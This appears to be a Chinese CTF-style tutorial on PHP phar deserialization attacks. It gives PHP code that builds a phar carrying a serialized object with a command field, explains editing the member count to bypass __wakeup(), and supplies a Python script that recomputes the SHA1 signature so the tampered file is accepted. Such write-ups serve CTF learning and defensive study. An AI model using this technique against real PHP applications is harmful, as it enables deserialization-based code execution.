0%

phar signature

1.前言

脚本在最后

如果需要手动修改phar中的内容,直接修改,然后上传,php解析会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
class EzTrick
{
public $cmd="phpinfo();";
public $waf="123";
}

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$o = new EzTrick();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

比如如上代码
生成以后用hex editor打开

可以看到如上信息,如果我们去修改他的成员数,2改成3,去绕过__wakeup(),然后去上传

可以看到报错了,说是signature出错
那么这时候就要去了解phar文件中signature的形成了

2.phar结构

https://www.php.net/manual/en/phar.fileformat.signature.php
官网有解释

大致意思就是signature是在文件内容的后端

https://stackoverflow.com/questions/23592827/how-phar-signature-prevents-tampering-with-files
stackoverflow上面也有解释

那么意思就是用整个文件内容去进行加密
且默认是用sha1去加密,不过php8是默认用sha256加密

3.生成signature

那我们可以用php输出signature在比对一下十六进制文件,就可以知道具体位置了
在如上php代码末尾加上一段var_dump($phar->getSignature());

在对比hex editor打开的

可以发现是在text后面32位,就是sha1加密
那么是用整个文件内容去加密,那应该就是用加密字符的前面内容去加密,我们可以用python去验证一下

可以看到与hash一样,那么我们可以写脚本,把修改以后的sha1替换了
由于后面的位数是一样的,那么脚本可以从后往前进行读取

1
2
3
4
5
6
7
8
9
10
11
12
13
import hashlib

f = open('phar.phar','rb')
c = f.read()
f.close()

new_sha1 = hashlib.sha1(c[:-28]).digest() #获取新的sha1

new = c[:-28]+hashlib.sha1(c[:-28]).digest()+c[-8:]

f = open('phar_t.phar','wb')
f.write(new)
f.close()

sha1的加密脚本就可以这么实现

可以看到成功读取了